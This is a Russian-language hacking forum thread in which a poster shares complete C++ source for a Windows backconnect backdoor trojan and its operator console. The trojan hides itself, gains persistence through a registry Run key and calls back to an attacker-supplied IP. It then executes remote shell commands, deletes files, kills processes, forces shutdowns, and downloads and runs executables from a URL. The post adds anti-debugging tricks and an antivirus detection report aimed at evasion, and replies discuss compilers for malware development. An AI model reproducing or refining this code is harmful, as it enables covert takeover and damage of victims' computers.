[C++] BackConnect Backdoor

[IBM]

Предисловие: коннект идет на порт 1234

Всем привет, мое старое изобретение. Что бы не пропадало зря выложу сюда:

Троян:

#include <winsock2.h>
#include <windows.h>
#include <urlmon.h>

#pragma comment(lib,"urlmon.lib")


void hide()
  {
    FreeConsole();
  }
void Install()
  {
    char szTarget[256], szBackdoor[256], szWin[256];  
    HKEY key;
    GetWindowsDirectory(szWin, sizeof(szWin));
    GetModuleFileName(NULL, szBackdoor, sizeof(szBackdoor));
    strcpy(szTarget, szWin);
    strcat(szTarget, "\\strcmp.exe");
    CopyFile(szBackdoor, szTarget, false);
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
    RegSetValueEx(key,"System_Coorp",0,REG_SZ,(BYTE *)szTarget,256);
    RegCloseKey(key); 
  }

void shutdown()
  {
    system("shutdown -s -t 1 -c System will be shutdown to prevent damage for your system");
  }
    
int main(void)
{
    hide();
    WORD v=MAKEWORD(2,0);
    WSADATA d;
    int e=WSAStartup(v,&d);
    struct sockaddr_in peer;
    int s;
    int rc;
    bool fl;
    fl = true;
    char buf[1024], tmp[1024], result[1024], command[1024], text[1024], Win[256], C[256];
    peer.sin_family=AF_INET;
    peer.sin_port=htons(1234);
    peer.sin_addr.s_addr=inet_addr("127.0.0.1");
    s=socket(AF_INET,SOCK_STREAM,0);
    rc=connect(s,(struct sockaddr *)&peer,sizeof(peer));
    if (rc)
    Sleep(2000);
        while (1==1)
    {
    if (fl!=true)
    {
      strcat(tmp, result);  
    } else 
      {
        fl = false;
        strcat(tmp, "Request for auth...");
      }
    rc=send(s,tmp, sizeof(tmp),0);
    strcpy(tmp, "");
    strcpy(result, "");
    rc=recv(s,buf, sizeof(buf),0);
    int pos;
    pos = strcspn(buf, ":");
    pos++;
    strcpy(text, &buf[pos]);
    strncpy(command, buf, (pos-1));
    if (command[0]=='i') {Install();strcpy(result, "Installed");}
    if (command[1]=='s')
      {
        MessageBox(0, text, "Windows", MB_OK);
        strcpy(result, "command executed successfully"); 
      }
    if (command[1]=='e')
      {
        bool fl = DeleteFile(text);
        if (fl == true) strcpy(result, "command executed successfully"); else strcpy(result, "command execution failed"); 
      }   
    if (command[0]=='k') 
      {
        GetWindowsDirectory(Win, sizeof(Win));
        strcpy(C, "taskkill /im ");
        strcpy(C, text);
        strcpy(C, " /f");
        ShellExecute(0, "open", "cmd.exe", C, Win, SW_HIDE);
        strcpy(C, ""); 
        strcpy(result, "command executed successfully");
      }  
    if (command[1]=='h') {shutdown();strcpy(result, "command executed successfully");}   
    if (command[1]=='m')
      {
        system(text);
        strcpy(result, "command executed successfully");
      }
    if (command[0]=='u')
      {
        char Path[256];
        GetTempPath(sizeof(Path), Path);
        URLDownloadToFile( 0, text, (strcat(Path, "\\file.exe")), 0, 0);
        Sleep(1000);
        system((strcat("start ", Path)));
        strcpy(Path, "");
      }
    strcpy(command, "");
    strcpy(text, "");    
    }
    WSACleanup();
    system("PAUSE >nul");
    return 0;
}

В строке: peer.sin_addr.s_addr=inet_addr("127.0.0.1");

Меняем 127.0.0.1 на ваш IP.

Компилируем. Для компиляции рекомендую использовать Borland C++ Builder. Если используете Dev-C++ то скачайте urlmon библиотеку: [Ссылки могут видеть только зарегистрированные пользователи.]

Клиент можно использовать любой консольный ( netcat и т.д )

Но я написал свой, с ним удобнее все же:

#include <winsock2.h>
#include <stdio.h>
#include <cstdlib>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

void clearscr()
  {
    for (int i = 1; i < 100; i++) printf("\n");
    system("cls");
  }
void errpr(char* txt)
  {
    clearscr();
    system("color 0C");
    printf(txt);
    system("pause >nul");
    system("exit");
  }

int main()
{
    system("color 0A");
    WORD v=MAKEWORD(2,0);
    WSADATA d;
    int e=WSAStartup(v,&d);
    if (e)
    {
        errpr("error initializing winsock\n");
        return 1;
    }
    struct sockaddr_in local;
    int s;
    bool fl = true;
    int s1;
    int rc;
    char buf[1024], tmp[1024];
    local.sin_family=AF_INET;
    local.sin_port=htons(1234);
    local.sin_addr.s_addr=htonl(INADDR_ANY);
    s=socket(AF_INET,SOCK_STREAM,0);
    if (s<0)
    {
        errpr("Socket error\n");
        return 1;
    }
    rc=bind(s,(struct sockaddr *)&local,sizeof(local));
    if (rc<0)
    {
        errpr("Bind calling error\n");
    }
    rc=listen(s,5);
    if (rc)
    {
        errpr("Listen port error\n");
    }
    printf("Waiting for connection\n");
    s1=accept(s,NULL,NULL);
    if (s1<0)
    {
        errpr("Error calling accept function\n");
    }
    printf("Connected...\n");
    printf("msg:message - will show messagebox on the target system\n");
    printf("cmd:command - Will execute your command by remote command line prompt.\n");
    printf("delete:path - will delete file on the target system\n");
    printf("install - will install trojan in the target system\n");
    printf("shutdown - will restart the target system\n");
    printf("kill:processname - will kill remote process by name on the target system\n");
    while (1==1)
      {
        rc=recv(s1,buf, sizeof(buf),0);
        if (rc<=0)
          {
            errpr("Receive socket error...\n");
          }
        cout << buf << endl;
        cout << "/root> ";
        cin.getline(tmp, sizeof(tmp));
        rc=send(s1,tmp,sizeof(tmp),0);
        strcpy(tmp, "");
      }
    WSACleanup();
    
    return 0;
}

Команды:

    msg:message - Покажет messageBox на удаленной системе ( через msg * hello не передается в командную строку )
    cmd:command - Отправит команду в командную строку
    delete:path - Удалит файл по пути
    install - Установит троян в систему !!!
    shutdown - перезапуск компьютера
    kill:processname - убьет процесс

И одна не задокументированная команда:

url:[Ссылки могут видеть только зарегистрированные пользователи.] - скачает и запустит файл на исполнение


Ограничение соединений: 1

Кому надо заморачивайтесь с потоками. Троян можно доработать на антиотладку.

Для нубов: IsDebuggerPresent() - вернет true если есть отладчик, false если нету

А если серьезно, то:

Проверка на трассифировку:

DWORD StartTime = GetTickCount();

// тут немножко кода....

DWORD EndTime = GetTickCount();
DWORD TimeLimit = 100; // лимит времени исполнения того куска кода
if ((EndTime - StartTime) > TimeLimit) halt;

Проверка на перехватывающие плагины против антиотладки:

DWORD StartTime = GetTickCount();
Sleep(100);
DWORD EndTime = GetTickCount();
DWORD LeftTime = EndTime - StartTime;
DWORD Limit = 70;
if (LeftTime > Limit) halt;

да и все вроде бы.

Ах да, детект файла, который стучит на внешний айпи:

Название файла: Project1.exe
Размер файла: 10240 байт
Дата сканирования: Tue, 10 Dec 13 12:27:52 -0500
MD5-хэш файла: 8ae78aa227fd645dce4e4e188cce6a9f

Результат: 21 из 36

Ad-Aware: Trojan.Win32.Generic!BT
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: OK
AVG: trj.Generic35.XLP
Avira: TR/Dynamer.dtc.16167 Trojan!
Bitdefender/BullGuard: Generic.Malware.Sdld!!.B3E07CDC
BullGuard Internet Security 2013: Generic.Malware.Sdld!!.B3E07CDC
Comodo: OK
Dr.Web: BackDoor.Siggen.56209
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: Generic.Malware.Sdld!!.B3E07CDC (DB)
Fortinet 5: OK
F-Prot: W32/Threat-HLLSI-based!Maximus
F-Secure 2014: Generic.Malware.Sdld!!.B3E07CDC
G Data: Virus: Generic.Malware.Sdld!!.B3E07CDC (Engine A)

IKARUS: Win32.SuspectCrc
Immunet/ClamAV: OK
K7 Ultimate: Riskware ( 0040eff71 )
Kaspersky Internet Security 2014: OK
McAfee Total Protection 2013: OK
Microsoft Security Essentials: OK
NANO: OK
NOD32: @Trojan.Generik.IQQDZBO
Norman: winpe/Suspicious_Gen2.VSPEU
Norton Internet Security: Downloader
Outpost Security Suite Pro 8.0: Trojan.Agent!0+7QrA7LdOw (Trojan)
Quick Heal: Trojan.Dynamer
Sophos: Mal/DownLdr-AC
SUPERAntiSpyware: OK
Total Defense Internet Security: Win32/Tnega.XAFN!suspicious
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: Suspicious:W32.Afgan.d.cvrt.mg
VBA: OK
VIPRE Internet Security 2013: Trojan.Win32.Generic!BT
Virit: OK

Scan report generated by Scanner.FuckAV.ru


chk4me.com точно шлет.........



Чуть не забыл! Если хотите, что бы троян авторанился, то сразу после отстука введите install

[Dark Koder]

Молодец) мне как раз наглядный пример работы с сокетами.
Вопрос- почему так принципиально Борланд юзать?
З.Ы: я уже давно говорил,что chk4me шлёт отчеты

[IBM]

Сообщение от Dark Koder

Молодец) мне как раз наглядный пример работы с сокетами.
Вопрос- почему так принципиально Борланд юзать?
З.Ы: я уже давно говорил,что chk4me шлёт отчеты

Просто в Dev-CPP они накосячили с urlmon`м ( лично у меня так ) - не компилит если нету у вас urlmon либы.

Visual Studio - много весит, да и вообще создает слишком много файлов даже при Release конфиге
Borland C++ Builder - вроде бы нормально компилирует, бывают проблемы с запуском на других компьютерах.


Поэтому я предпочитаю Dev-CPP, но требуется библиотека urlmon ( я скинул ссылку в статье на нее ).

Это все лично мое мнение.

[GK104]

Nu11ers3t, как на счет qt creator?как по мне, то самый удобный интерфейс, хотя некоторый синтаксис, который в вижуал студио норм проходит, он не понимает, не знаю почему

[IBM]

Сообщение от GK104

Nu11ers3t, как на счет qt creator?

Я с QT Creator не работал, не могу сказать. Возможно скачаю, когда понадобится писать приложения под другие ОС. Да и если писать под Linux, то отлично подходит GCC.

Сообщение от GK104

некоторый синтаксис, который в вижуал студио норм проходит, он не понимает, не знаю почему

Может потому что QT Creator кроссплатформенная IDE?

[bourvil]

Скрытый текст

Сообщение от ;92124

Visual Studio - много весит, да и вообще создает слишком много файлов даже при Release конфиге

Недостаточно выставить "релиз", его еще нужно настроить должным образом
В качестве наглядного пособия - [Ссылки могут видеть только зарегистрированные пользователи.] и [Ссылки могут видеть только зарегистрированные пользователи.]

На выходе, бинарь может соревноваться разве что с бинами программ на ассемблере (в плане размерности). Капризный слон эта студия, но лучшего средства для разработки мальвари под Windows на C/C++ не найти.

Сообщение от ;92124

Borland C++ Builder - вроде бы нормально компилирует, бывают проблемы с запуском на других компьютерах.

Build with runtime packages и Use dynamic RTL вроде решают проблему.

[Dark Koder]

Не,я пишу только на Борланде и студии. потому и спросил.
To GK104, QT Creator для иных целей создан! Он же для формошлепства,нет? да и синтаксис у него просто адский.
Не, уж лучше борланд, если гуй делать...